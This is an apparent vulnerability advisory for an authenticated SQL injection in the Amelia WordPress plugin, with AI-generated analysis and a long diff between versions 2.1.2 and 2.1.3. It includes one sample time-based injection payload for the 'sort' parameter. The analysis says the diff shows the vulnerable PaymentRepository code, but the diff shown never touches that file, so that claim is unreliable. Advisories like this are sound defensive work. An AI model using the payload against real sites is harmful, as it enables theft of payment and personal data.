Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 1, 2026

CVE-2026-4668: Amelia <= 2.1.2 – Authenticated (Manager+) SQL Injection via 'sort' Parameter (ameliabooking)

CVE ID CVE-2026-4668
Plugin ameliabooking
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.1.2
Patched Version 2.1.3
Disclosed March 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4668:
This vulnerability is an authenticated SQL injection in the Amelia WordPress plugin affecting versions up to and including 2.1.2. The flaw exists in the payments listing endpoint, allowing attackers with Manager-level permissions or higher to execute time-based blind SQL injection attacks via the ‘sort’ parameter. The CVSS score of 6.5 reflects the authenticated nature and data extraction impact.

Root Cause:
The vulnerability originates in the PaymentRepository.php file where user-supplied ‘sort’ parameter values are directly interpolated into SQL ORDER BY clauses without proper validation or escaping. PDO prepared statements cannot protect ORDER BY column names, making direct string interpolation inherently dangerous. The code diff shows the vulnerable pattern in the getByCriteria method where sort parameters are concatenated directly into SQL queries. GET requests to affected endpoints also bypass Amelia’s nonce validation entirely, removing an additional security layer.

Exploitation:
Attackers with ‘wpamelia-manager’ role or higher can send GET requests to the payments listing endpoint with malicious ‘sort’ parameter values. The attack vector targets the REST API endpoint handling payment data retrieval. A typical payload would append time-based SQL injection syntax to the sort parameter, such as ‘CASE WHEN (SELECT SLEEP(5)) THEN amount ELSE created END’. This allows attackers to extract sensitive database information through boolean-based inference over time delays.

Patch Analysis:
The patch in version 2.1.3 implements proper input validation for the ‘sort’ parameter. The fix adds whitelist validation to ensure only permitted column names are accepted for sorting operations. The code changes restrict sort values to a predefined set of safe column identifiers, preventing arbitrary SQL injection. The patch also addresses the nonce validation bypass by enforcing proper authentication checks on all payment listing requests.

Impact:
Successful exploitation allows authenticated attackers to extract sensitive information from the WordPress database. This includes user credentials, payment details, personal information, and other confidential data stored in Amelia plugin tables or the broader WordPress database. The time-based blind injection technique enables data exfiltration character by character, potentially compromising the entire database contents accessible to the MySQL user account.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ameliabooking/ameliabooking.php
+++ b/ameliabooking/ameliabooking.php
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.1.2
+Version: 2.1.3
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -35,6 +35,8 @@
 use AmeliaBookingInfrastructureWPUserRolesUserRoles;
 use AmeliaBookingInfrastructureWPWPMenuSubmenu;
 use AmeliaBookingInfrastructureWPWPMenuSubmenuPageHandler;
+use AmeliaBookingInfrastructureWPCompatibilityLiteSpeedCacheCompatibility;
+use AmeliaBookingInfrastructureWPWPMenuAdminBarMenu;
 use Exception;
 use SlimApp;
 use AmeliaBookingInfrastructureLicence;
@@ -109,7 +111,7 @@

 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.1.2');
+    define('AMELIA_VERSION', '2.1.3');
 }

 // Const for site URL
@@ -214,6 +216,9 @@
     {
         $settingsService = new SettingsService(new SettingsStorage());

+        // Initialize LiteSpeed Cache compatibility
+        LiteSpeedCacheCompatibility::init();
+
         self::weglotConflict($settingsService, true);

         load_plugin_textdomain(AMELIA_DOMAIN, false, plugin_basename(__DIR__) . '/languages/' . AMELIA_LOCALE . '/');
@@ -257,6 +262,14 @@

         $ameliaRole = UserRoles::getUserAmeliaRole(wp_get_current_user());

+        // Register Gutenberg blocks for rendering on frontend (works for all users, logged in or not)
+        AmeliaStepBookingGutenbergBlock::init();
+        AmeliaCatalogBookingGutenbergBlock::init();
+        AmeliaBookingGutenbergBlock::init();
+        AmeliaCatalogGutenbergBlock::init();
+        AmeliaEventsGutenbergBlock::init();
+        AmeliaEventsListBookingGutenbergBlock::init();
+
         // Init menu if user is logged in with amelia role
         if (in_array($ameliaRole, ['admin', 'manager', 'provider', 'customer'])) {
             if ($ameliaRole === 'admin') {
@@ -266,15 +279,6 @@
             // Add TinyMCE button for shortcode generator
             ButtonService::renderButton();

-            // Add Gutenberg Block for shortcode generator
-            AmeliaStepBookingGutenbergBlock::init();
-            AmeliaCatalogBookingGutenbergBlock::init();
-            AmeliaBookingGutenbergBlock::init();
-            AmeliaCatalogGutenbergBlock::init();
-            AmeliaEventsGutenbergBlock::init();
-            AmeliaEventsListBookingGutenbergBlock::init();
-
-
             add_filter('block_categories_all', array('AmeliaBookingPlugin', 'addAmeliaBlockCategory'), 10, 2);
             add_filter('learn-press/frontend-default-scripts', array('AmeliaBookingPlugin', 'learnPressConflict'));
         }
@@ -415,6 +419,16 @@
         $wpMenu->addOptionsPages();
     }

+    public static function initAdminBar()
+    {
+        $settingsService = new SettingsService(new SettingsStorage());
+
+        add_action('admin_bar_menu', function ($wpAdminBar) use ($settingsService) {
+            $adminBarMenu = new AdminBarMenu($settingsService);
+            $adminBarMenu->addAdminBarMenu($wpAdminBar);
+        }, 100);
+    }
+
     public static function adminInit()
     {
         $settingsService = new SettingsService(new SettingsStorage());
@@ -667,6 +681,9 @@
 /** Init the plugin */
 add_action('plugins_loaded', array('AmeliaBookingPlugin', 'init'));

+add_action('init', array('AmeliaBookingInfrastructureWPWPMenuAdminBarMenu', 'enqueueScripts'));
+add_action('init', array('AmeliaBookingPlugin', 'initAdminBar'));
+
 add_action('admin_init', array('AmeliaBookingPlugin', 'adminInit'));

 add_action('admin_menu', array('AmeliaBookingPlugin', 'initMenu'));
--- a/ameliabooking/src/Application/Commands/Bookable/Category/GetCategoryDeleteEffectCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Bookable/Category/GetCategoryDeleteEffectCommandHandler.php
@@ -10,9 +10,9 @@
 use AmeliaBookingApplicationCommandsCommandResult;
 use AmeliaBookingApplicationCommandsCommandHandler;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
+use AmeliaBookingInfrastructureRepositoryBookableServicePackageRepository;
 use AmeliaBookingInfrastructureRepositoryBookableServiceServiceRepository;
 use AmeliaBookingDomainCollectionCollection;
-use InteropContainerExceptionContainerException;
 use SlimExceptionContainerValueNotFoundException;

 /**
@@ -29,7 +29,6 @@
      * @throws ContainerValueNotFoundException
      * @throws AccessDeniedException
      * @throws QueryExecutionException
-     * @throws ContainerException
      * @throws InvalidArgumentException
      */
     public function handle(GetCategoryDeleteEffectCommand $command)
@@ -46,6 +45,9 @@
         /** @var ServiceRepository $serviceRepository */
         $serviceRepository = $this->getContainer()->get('domain.bookable.service.repository');

+        /** @var PackageRepository $packageRepository */
+        $packageRepository = $this->container->get('domain.bookable.package.repository');
+
         /** @var Collection $services */
         $services = $serviceRepository->getByCriteria(['categories' => [$command->getArg('id')]]);

@@ -73,11 +75,18 @@
             }
         }

+        /** @var Collection $packages */
+        $packages = $services->length() ? $packageRepository->getByCriteria(['services' => $services->keys()]) : new Collection();
+
+        if ($packages->length()) {
+            $messageKey = 'red_category_failed_to_be_deleted';
+        }
+
         $result->setResult(CommandResult::RESULT_SUCCESS);
         $result->setMessage('Successfully retrieved message.');
         $result->setData(
             [
-                'valid'   => !($categoryServiceIds && ($appointmentsCount['futureAppointments'] || $appointmentsCount['packageAppointments'])),
+                'valid'       => !($categoryServiceIds && ($appointmentsCount['futureAppointments'] || $appointmentsCount['packageAppointments'])),
                 'messageKey'  => $messageKey,
                 'messageData' => $messageData,
             ]
--- a/ameliabooking/src/Application/Commands/Bookable/Service/DeleteServiceCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Bookable/Service/DeleteServiceCommandHandler.php
@@ -11,12 +11,13 @@
 use AmeliaBookingApplicationCommandsCommandResult;
 use AmeliaBookingApplicationCommonExceptionsAccessDeniedException;
 use AmeliaBookingApplicationServicesBookableBookableApplicationService;
+use AmeliaBookingDomainCollectionCollection;
 use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
 use AmeliaBookingDomainEntityBookableServiceService;
 use AmeliaBookingDomainEntityEntities;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
+use AmeliaBookingInfrastructureRepositoryBookableServicePackageRepository;
 use AmeliaBookingInfrastructureRepositoryBookableServiceServiceRepository;
-use InteropContainerExceptionContainerException;
 use SlimExceptionContainerValueNotFoundException;

 /**
@@ -34,7 +35,6 @@
      * @throws InvalidArgumentException
      * @throws QueryExecutionException
      * @throws AccessDeniedException
-     * @throws ContainerException
      */
     public function handle(DeleteServiceCommand $command)
     {
@@ -51,15 +51,21 @@

         $appointmentsCount = $bookableApplicationService->getAppointmentsCountForServices([$command->getArg('id')]);

-        /** @var ServiceRepository $serviceRepository */
-        $serviceRepository = $this->container->get('domain.bookable.service.repository');
+        if ($appointmentsCount['futureAppointments']) {
+            $result->setResult(CommandResult::RESULT_CONFLICT);
+            $result->setMessage('Could not delete service.');
+            $result->setData([]);

-        /** @var Service $service */
-        $service = $serviceRepository->getByCriteria(
-            ['services' => [$command->getArg('id')]]
-        )->getItem($command->getArg('id'));
+            return $result;
+        }

-        if ($appointmentsCount['futureAppointments']) {
+        /** @var PackageRepository $packageRepository */
+        $packageRepository = $this->container->get('domain.bookable.package.repository');
+
+        /** @var Collection $packages */
+        $packages = $packageRepository->getByCriteria(['services' => [$command->getArg('id')]]);
+
+        if ($packages->length()) {
             $result->setResult(CommandResult::RESULT_CONFLICT);
             $result->setMessage('Could not delete service.');
             $result->setData([]);
@@ -67,6 +73,14 @@
             return $result;
         }

+        /** @var ServiceRepository $serviceRepository */
+        $serviceRepository = $this->container->get('domain.bookable.service.repository');
+
+        /** @var Service $service */
+        $service = $serviceRepository->getByCriteria(
+            ['services' => [$command->getArg('id')]]
+        )->getItem($command->getArg('id'));
+
         $serviceRepository->beginTransaction();

         do_action('amelia_before_service_deleted', $service->toArray());
--- a/ameliabooking/src/Application/Commands/Bookable/Service/GetServiceDeleteEffectCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Bookable/Service/GetServiceDeleteEffectCommandHandler.php
@@ -4,12 +4,13 @@

 use AmeliaBookingApplicationCommonExceptionsAccessDeniedException;
 use AmeliaBookingApplicationServicesBookableBookableApplicationService;
+use AmeliaBookingDomainCollectionCollection;
 use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
 use AmeliaBookingDomainEntityEntities;
 use AmeliaBookingApplicationCommandsCommandResult;
 use AmeliaBookingApplicationCommandsCommandHandler;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
-use InteropContainerExceptionContainerException;
+use AmeliaBookingInfrastructureRepositoryBookableServicePackageRepository;
 use SlimExceptionContainerValueNotFoundException;

 /**
@@ -26,7 +27,6 @@
      * @throws ContainerValueNotFoundException
      * @throws AccessDeniedException
      * @throws QueryExecutionException
-     * @throws ContainerException
      * @throws InvalidArgumentException
      */
     public function handle(GetServiceDeleteEffectCommand $command)
@@ -37,6 +37,9 @@

         $result = new CommandResult();

+        /** @var PackageRepository $packageRepository */
+        $packageRepository = $this->container->get('domain.bookable.package.repository');
+
         /** @var BookableApplicationService $bookableAS */
         $bookableAS = $this->getContainer()->get('application.bookable.service');

@@ -55,11 +58,18 @@
             $messageData = ['count' => $appointmentsCount['pastAppointments']];
         }

+        /** @var Collection $packages */
+        $packages = $packageRepository->getByCriteria(['services' => [$command->getArg('id')]]);
+
+        if ($packages->length()) {
+            $messageKey = 'red_service_failed_to_be_deleted';
+        }
+
         $result->setResult(CommandResult::RESULT_SUCCESS);
         $result->setMessage('Successfully retrieved message.');
         $result->setData(
             [
-                'valid'   => $appointmentsCount['futureAppointments'] ? false : true,
+                'valid'       => !$appointmentsCount['futureAppointments'] && !$packages->length(),
                 'messageKey'  => $messageKey,
                 'messageData' => $messageData,
             ]
--- a/ameliabooking/src/Application/Commands/Booking/Appointment/AddAppointmentCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Appointment/AddAppointmentCommandHandler.php
@@ -151,6 +151,10 @@
             $service
         );

+        if (!empty($appointmentData['createPaymentLinks'])) {
+            $appointment->setCreatePaymentLinks(true);
+        }
+
         if ($existingAppointment && !empty($appointmentData['internalNotes'])) {
             if (
                 $existingAppointment->getInternalNotes() &&
--- a/ameliabooking/src/Application/Commands/Booking/Appointment/GetAppointmentBookingsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Appointment/GetAppointmentBookingsCommandHandler.php
@@ -227,6 +227,8 @@
                         ),
                         'status' => $paymentAS->getFullStatus($booking->toArray(), 'appointment'),
                     ],
+                    'created'  => $booking->getCreated() ?
+                        $booking->getCreated()->getValue()->format('Y-m-d') : null,
                 ];

                 $isPackageAppointment = !empty($booking->getPackageCustomerService());
--- a/ameliabooking/src/Application/Commands/Booking/Appointment/ReassignBookingCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Appointment/ReassignBookingCommandHandler.php
@@ -616,6 +616,8 @@
                     $oldAppointment->getStatus()->getValue()
                 );

+                $newAppointment->setInternalNotes(new Description(''));
+
                 $newAppointmentId = $appointmentRepository->add($newAppointment);

                 $newAppointment->setId(new Id($newAppointmentId));
--- a/ameliabooking/src/Application/Commands/Booking/Appointment/UpdateAppointmentCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Appointment/UpdateAppointmentCommandHandler.php
@@ -13,7 +13,6 @@
 use AmeliaBookingApplicationServicesPaymentPaymentApplicationService;
 use AmeliaBookingApplicationServicesReservationAppointmentReservationService;
 use AmeliaBookingApplicationServicesUserUserApplicationService;
-use AmeliaBookingApplicationServicesZoomAbstractZoomApplicationService;
 use AmeliaBookingDomainCollectionCollection;
 use AmeliaBookingDomainCommonExceptionsAuthorizationException;
 use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
@@ -35,6 +34,7 @@
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
 use AmeliaBookingInfrastructureRepositoryBookingAppointmentAppointmentRepository;
 use AmeliaBookingInfrastructureRepositoryBookingAppointmentCustomerBookingRepository;
+use AmeliaBookingInfrastructureRepositoryPaymentPaymentRepository;
 use AmeliaBookingInfrastructureRepositoryUserProviderRepository;
 use AmeliaBookingInfrastructureRepositoryUserUserRepository;
 use AmeliaBookingInfrastructureWPTranslationsFrontendStrings;
@@ -87,8 +87,6 @@
         $bookableAS = $this->container->get('application.bookable.service');
         /** @var AbstractCustomFieldApplicationService $customFieldService */
         $customFieldService = $this->container->get('application.customField.service');
-        /** @var AbstractZoomApplicationService $zoomService */
-        $zoomService = $this->container->get('application.zoom.service');
         /** @var UserApplicationService $userAS */
         $userAS = $this->getContainer()->get('application.user.service');
         /** @var SettingsService $settingsDS */
@@ -428,6 +426,43 @@
             $appointment->setChangedStatus(new BooleanValueObject(true));
         }

+        /** @var PaymentRepository $paymentRepository */
+        $paymentRepository = $this->container->get('domain.payment.repository');
+
+        $bookingIds = [];
+
+        /** @var CustomerBooking $booking */
+        foreach ($appointment->getBookings()->getItems() as $booking) {
+            if ($booking->getId() && $booking->getId()->getValue()) {
+                $bookingIds[] = $booking->getId()->getValue();
+            }
+        }
+
+        if ($bookingIds) {
+            /** @var Collection $payments */
+            $payments = $paymentRepository->getByCriteria(['bookingIds' => $bookingIds]);
+
+            /** @var CustomerBooking $booking */
+            foreach ($appointment->getBookings()->getItems() as $booking) {
+                if ($booking->getId() && $booking->getId()->getValue() && !$booking->getPayments()->length()) {
+                    $bookingPayments = new Collection();
+
+                    foreach ($payments->getItems() as $payment) {
+                        if (
+                            $payment->getCustomerBookingId() &&
+                            $payment->getCustomerBookingId()->getValue() === $booking->getId()->getValue()
+                        ) {
+                            $bookingPayments->addItem($payment, $payment->getId()->getValue());
+                        }
+                    }
+
+                    if ($bookingPayments->length()) {
+                        $booking->setPayments($bookingPayments);
+                    }
+                }
+            }
+        }
+
         $appointmentArray = $appointment->toArray();

         $oldAppointmentArray = $oldAppointment->toArray();
--- a/ameliabooking/src/Application/Commands/Booking/Appointment/UpdateAppointmentTimeCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Appointment/UpdateAppointmentTimeCommandHandler.php
@@ -129,26 +129,28 @@
             }
         }

-        $minimumRescheduleTimeInSeconds = $settingsDS
-            ->getEntitySettings($service->getSettings())
-            ->getGeneralSettings()
-            ->getMinimumTimeRequirementPriorToRescheduling();
+        if ($userAS->isCustomer($user)) {
+            $minimumRescheduleTimeInSeconds = $settingsDS
+                ->getEntitySettings($service->getSettings())
+                ->getGeneralSettings()
+                ->getMinimumTimeRequirementPriorToRescheduling();

-        try {
-            $reservationService->inspectMinimumCancellationTime(
-                $appointment->getBookingStart()->getValue(),
-                $minimumRescheduleTimeInSeconds
-            );
-        } catch (BookingCancellationException $e) {
-            $result->setResult(CommandResult::RESULT_ERROR);
-            $result->setMessage('You are not allowed to update booking');
-            $result->setData(
-                [
-                    'rescheduleBookingUnavailable' => true
-                ]
-            );
+            try {
+                $reservationService->inspectMinimumCancellationTime(
+                    $appointment->getBookingStart()->getValue(),
+                    $minimumRescheduleTimeInSeconds
+                );
+            } catch (BookingCancellationException $e) {
+                $result->setResult(CommandResult::RESULT_ERROR);
+                $result->setMessage('You are not allowed to update booking');
+                $result->setData(
+                    [
+                        'rescheduleBookingUnavailable' => true
+                    ]
+                );

-            return $result;
+                return $result;
+            }
         }

         $bookingStart = $command->getField('bookingStart');
--- a/ameliabooking/src/Application/Commands/Booking/Event/GetEventBookingCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Event/GetEventBookingCommandHandler.php
@@ -197,6 +197,12 @@
                 'location' =>
                 $event->getCustomLocation() ?
                     ['name' => $event->getCustomLocation()->getValue()] : ($event->getLocationId() ? $event->getLocation()->toArray() : null),
+                'periods' => array_map(function ($period) {
+                    return [
+                        'periodStart' => $period['periodStart'],
+                        'periodEnd' => $period['periodEnd']
+                    ];
+                }, $event->getPeriods()->toArray()),
             ]
         );

--- a/ameliabooking/src/Application/Commands/Booking/Event/GetEventBookingsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Event/GetEventBookingsCommandHandler.php
@@ -6,9 +6,11 @@
 use AmeliaBookingApplicationCommandsCommandResult;
 use AmeliaBookingApplicationCommonExceptionsAccessDeniedException;
 use AmeliaBookingApplicationServicesBookingEventApplicationService;
+use AmeliaBookingApplicationServicesCustomFieldAbstractCustomFieldApplicationService;
 use AmeliaBookingApplicationServicesPaymentPaymentApplicationService;
 use AmeliaBookingApplicationServicesUserProviderApplicationService;
 use AmeliaBookingApplicationServicesUserUserApplicationService;
+use AmeliaBookingDomainCollectionCollection;
 use AmeliaBookingDomainCommonExceptionsAuthorizationException;
 use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
 use AmeliaBookingDomainEntityBookingAppointmentCustomerBooking;
@@ -18,6 +20,7 @@
 use AmeliaBookingDomainEntityEntities;
 use AmeliaBookingDomainEntityUserAbstractUser;
 use AmeliaBookingDomainEntityUserProvider;
+use AmeliaBookingDomainFactoryBookingAppointmentCustomerBookingFactory;
 use AmeliaBookingDomainFactoryBookingEventEventFactory;
 use AmeliaBookingDomainServicesDateTimeDateTimeService;
 use AmeliaBookingDomainServicesSettingsSettingsService;
@@ -25,6 +28,7 @@
 use AmeliaBookingDomainValueObjectsStringBookingStatus;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
 use AmeliaBookingInfrastructureRepositoryBookingAppointmentCustomerBookingRepository;
+use AmeliaBookingInfrastructureRepositoryCustomFieldCustomFieldRepository;
 use Exception;

 /**
@@ -58,8 +62,12 @@
         $eventApplicationService = $this->container->get('application.booking.event.service');
         /** @var CustomerBookingRepository $bookingRepository */
         $bookingRepository = $this->container->get('domain.booking.customerBooking.repository');
+        /** @var CustomFieldRepository $customFieldRepository */
+        $customFieldRepository = $this->container->get('domain.customField.repository');
         /** @var ProviderApplicationService $providerAS */
         $providerAS = $this->container->get('application.user.provider.service');
+        /** @var AbstractCustomFieldApplicationService $customFieldService */
+        $customFieldService = $this->container->get('application.customField.service');

         $params = $command->getField('params');

@@ -217,6 +225,7 @@
         $bookings = $bookingRepository->getEventBookingsByIds(
             $bookingIds,
             array_merge(
+                !empty($params['sort']) ? ['sort' => $params['sort']] : [],
                 !empty($params['dates']) ? ['dates' => $params['dates']] : [],
                 [
                     'fetchBookingsPayments' => true,
@@ -229,6 +238,9 @@
         );


+        /** @var Collection $customFieldsCollection */
+        $customFieldsCollection = $customFieldRepository->getAll([], false);
+
         $customersNoShowCountIds = [];

         $noShowTagEnabled = $settingsDS->isFeatureEnabled('noShowTag');
@@ -236,6 +248,8 @@
         $eventBookings = [];

         foreach ($bookings as &$booking) {
+            $customFields = [];
+
             ksort($booking['payments']);

             if ($noShowTagEnabled) {
@@ -281,6 +295,7 @@

             $wcTax = 0;
             $wcDiscount = 0;
+            $paid = 0;

             foreach ($booking['payments'] as $payment) {
                 $paymentAS->addWcFields($payment);
@@ -288,8 +303,16 @@
                 $wcTax += !empty($payment['wcItemTaxValue']) ? $payment['wcItemTaxValue'] : 0;

                 $wcDiscount += !empty($payment['wcItemCouponValue']) ? $payment['wcItemCouponValue'] : 0;
+
+                $paid = $paid + $payment['amount'];
             }

+            $customFields = $customFieldService->reformatCustomField(
+                CustomerBookingFactory::create($booking),
+                $customFields,
+                $customFieldsCollection
+            );
+
             $eventBooking = [
                 'id' => $booking['id'],
                 'bookedSpots' => $persons,
@@ -329,10 +352,13 @@
                 'payment' => [
                     'status' => $paymentAS->getFullStatus($booking, BookableType::EVENT),
                     'total'  => $paymentAS->calculateAppointmentPrice($booking, BookableType::EVENT) + $wcTax - $wcDiscount,
+                    'paid'   => $paid,
                 ],
+                'customFields' => $customFields,
                 'payments' => array_values($booking['payments']),
                 'qrCodes' => !empty($booking['qrCodes']) ? $booking['qrCodes'] : null,
                 'cancelable' => $eventApplicationService->isCancelable(EventFactory::create($booking['event']), $user),
+                'created' => !empty($booking['created']) ? explode(' ', $booking['created'])[0] : null,
             ];

             if ($isCabinetPage) {
--- a/ameliabooking/src/Application/Commands/Booking/Event/GetEventCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Event/GetEventCommandHandler.php
@@ -21,7 +21,6 @@
 use AmeliaBookingDomainEntityBookingEventEventTicket;
 use AmeliaBookingDomainEntityEntities;
 use AmeliaBookingDomainEntityUserAbstractUser;
-use AmeliaBookingDomainEntityUserProvider;
 use AmeliaBookingDomainValueObjectsNumberIntegerIntegerValue;
 use AmeliaBookingDomainValueObjectsStringBookingStatus;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
@@ -90,6 +89,9 @@
         /** @var CustomFieldRepository $customFieldRepository */
         $customFieldRepository = $this->container->get('domain.customField.repository');

+        $fetchBookings =
+            empty($command->getFields()['params']['bookings']) ||
+            filter_var($command->getFields()['params']['bookings'], FILTER_VALIDATE_BOOLEAN);

         /** @var Event $event */
         $event = $eventApplicationService->getEventById(
@@ -100,13 +102,14 @@
                 'fetchEventsTags'       => empty($command->getFields()['params']['drawer']),
                 'fetchEventsProviders'  => empty($command->getFields()['params']['drawer']),
                 'fetchEventsImages'     => true,
-                'fetchBookings'         => true,
-                'fetchBookingsTickets'  => true,
-                'fetchBookingsUsers'    => true,
-                'fetchBookingsPayments' => true,
-                'fetchBookingsCoupons'  => true,
+                'fetchBookings'         => $fetchBookings,
+                'fetchBookingsTickets'  => $fetchBookings,
+                'fetchBookingsUsers'    => $fetchBookings,
+                'fetchBookingsPayments' => $fetchBookings,
+                'fetchBookingsCoupons'  => $fetchBookings,
                 'fetchEventsOrganizer'  => true,
                 'fetchEventsLocation'   => true,
+                'fetchOccupancy'        => !$fetchBookings,
             ]
         );

@@ -173,6 +176,15 @@
         $bookingsPrice = 0;
         $paidPrice     = 0;

+        $customersIds = [];
+
+        /** @var CustomerBooking $booking */
+        foreach ($event->getBookings()->getItems() as $booking) {
+            $customersIds[] = $booking->getCustomerId()->getValue();
+        }
+
+        $customersNoShowCount = $customersIds ? $bookingRepository->countByNoShowStatus($customersIds) : [];
+
         /** @var CustomerBooking $booking */
         foreach ($event->getBookings()->getItems() as $booking) {
             $customFields   = [];
@@ -211,11 +223,6 @@
             }
             $paidPrice += $bookingPaidPrice;

-            $noShowCount = $bookingRepository->countByNoShowStatus([$booking->getCustomerId()->getValue()]);
-            if ($noShowCount && !empty($noShowCount[$booking->getCustomerId()->getValue()])) {
-                $noShowCount = $noShowCount[$booking->getCustomerId()->getValue()]['count'];
-            }
-
             $customFields = $customFieldService->reformatCustomField($booking, $customFields, $customFieldsCollection);

             $eventBookings[] = [
@@ -225,7 +232,9 @@
                     'firstName' => $booking->getCustomer()->getFirstName()->getValue(),
                     'lastName' => $booking->getCustomer()->getLastName() ? $booking->getCustomer()->getLastName()->getValue() : null,
                     'email' => $booking->getCustomer()->getEmail() ? $booking->getCustomer()->getEmail()->getValue() : null,
-                    'noShowCount' => $noShowCount,
+                    'noShowCount' => !empty($customersNoShowCount[$booking->getCustomerId()->getValue()])
+                        ? $customersNoShowCount[$booking->getCustomerId()->getValue()]['count']
+                        : [],
                     'note' => $booking->getCustomer()->getNote() ? $booking->getCustomer()->getNote()->getValue() : null,
                 ],
                 'tickets' => $ticketsData,
@@ -286,6 +295,7 @@
                 'location' => $event->getCustomLocation() ?
                     ['name' => $event->getCustomLocation()->getValue()] :
                     ($event->getLocationId() ? $event->getLocation()->toArray() : null),
+                'payment' => $eventRepository->getEventsPaymentsSummary((int)$command->getField('id')),
             ],
             $eventInfo
         );
--- a/ameliabooking/src/Application/Commands/Booking/Event/GetEventsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Event/GetEventsCommandHandler.php
@@ -64,6 +64,10 @@

         $isFrontEnd = isset($params['page']) && empty($params['group']);

+        $fetchBookings = !$isFrontEnd && (
+            !isset($params['bookings']) || filter_var($params['bookings'], FILTER_VALIDATE_BOOLEAN)
+        );
+
         $isCalendarPage = $isFrontEnd && (int)$params['page'] === 0;

         $isCabinetPage = $command->getPage() === 'cabinet';
@@ -122,11 +126,12 @@
             'fetchEventsProviders'  => true,
             'fetchEventsOrganizer'  => true,
             'fetchEventsImages'     => true,
-            'fetchBookings'         => true,
-            'fetchBookingsTickets'  => true,
-            'fetchBookingsCoupons'  => $isCabinetPage,
-            'fetchBookingsPayments' => $isCabinetPage,
-            'fetchBookingsUsers'    => $isCabinetPage,
+            'fetchBookings'         => $fetchBookings,
+            'fetchBookingsTickets'  => $fetchBookings,
+            'fetchBookingsCoupons'  => $fetchBookings && $isCabinetPage,
+            'fetchBookingsPayments' => $fetchBookings && $isCabinetPage,
+            'fetchBookingsUsers'    => $fetchBookings && $isCabinetPage,
+            'fetchOccupancy'        => !$fetchBookings,
         ];

         /** @var Collection $events */
--- a/ameliabooking/src/Application/Commands/Booking/Event/UpdateEventCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Event/UpdateEventCommandHandler.php
@@ -169,6 +169,21 @@
                     if ($oldEventPeriod->getLessonSpace()) {
                         $eventPeriod->setLessonSpace($oldEventPeriod->getLessonSpace());
                     }
+                    if ($oldEventPeriod->getGoogleCalendarEventId()) {
+                        $eventPeriod->setGoogleCalendarEventId($oldEventPeriod->getGoogleCalendarEventId());
+                    }
+                    if ($oldEventPeriod->getGoogleMeetUrl()) {
+                        $eventPeriod->setGoogleMeetUrl($oldEventPeriod->getGoogleMeetUrl());
+                    }
+                    if ($oldEventPeriod->getOutlookCalendarEventId()) {
+                        $eventPeriod->setOutlookCalendarEventId($oldEventPeriod->getOutlookCalendarEventId());
+                    }
+                    if ($oldEventPeriod->getMicrosoftTeamsUrl()) {
+                        $eventPeriod->setMicrosoftTeamsUrl($oldEventPeriod->getMicrosoftTeamsUrl());
+                    }
+                    if ($oldEventPeriod->getAppleCalendarEventId()) {
+                        $eventPeriod->setAppleCalendarEventId($oldEventPeriod->getAppleCalendarEventId());
+                    }
                 }
             }
         }
--- a/ameliabooking/src/Application/Commands/Calendar/GetCalendarEventsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Calendar/GetCalendarEventsCommandHandler.php
@@ -53,6 +53,10 @@
         $timeZone = '';

         if ($user->getType() === Entities::CUSTOMER) {
+            if (!$user->getId()) {
+                throw new AccessDeniedException('You are not allowed to read calendar events.');
+            }
+
             $queryParams['customers'] = [$user->getId()->getValue()];
         }

@@ -112,6 +116,7 @@
         }

         $result->setData(['events' => $filledDays]);
+
         return $result;
     }

--- a/ameliabooking/src/Application/Commands/Calendar/GetCalendarSlotsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Calendar/GetCalendarSlotsCommandHandler.php
@@ -9,9 +9,11 @@

 use AmeliaBookingApplicationCommandsCommandHandler;
 use AmeliaBookingApplicationCommandsCommandResult;
+use AmeliaBookingDomainEntityEntities;
 use AmeliaBookingDomainEntityScheduleDayOff;
 use AmeliaBookingDomainEntityScheduleSpecialDay;
 use AmeliaBookingDomainEntityScheduleWeekDay;
+use AmeliaBookingDomainEntityUserAbstractUser;
 use AmeliaBookingDomainEntityUserProvider;
 use AmeliaBookingDomainServicesDateTimeDateTimeService;
 use AmeliaBookingDomainValueObjectsStringBookingStatus;
@@ -32,6 +34,9 @@
         $providerRepository = $this->container->get('domain.users.providers.repository');
         $locationRepository = $this->container->get('domain.locations.repository');

+        /** @var AbstractUser $user */
+        $user = $this->container->get('logged.in.user');
+
         $queryParams = $command->getField('queryParams');
         $allWorkDays = [];
         $selectedService = $queryParams['service'] ?? null;
@@ -61,7 +66,7 @@
             }
         }

-        if (empty($allWorkDays)) {
+        if (empty($allWorkDays) || $user->getType() === Entities::CUSTOMER) {
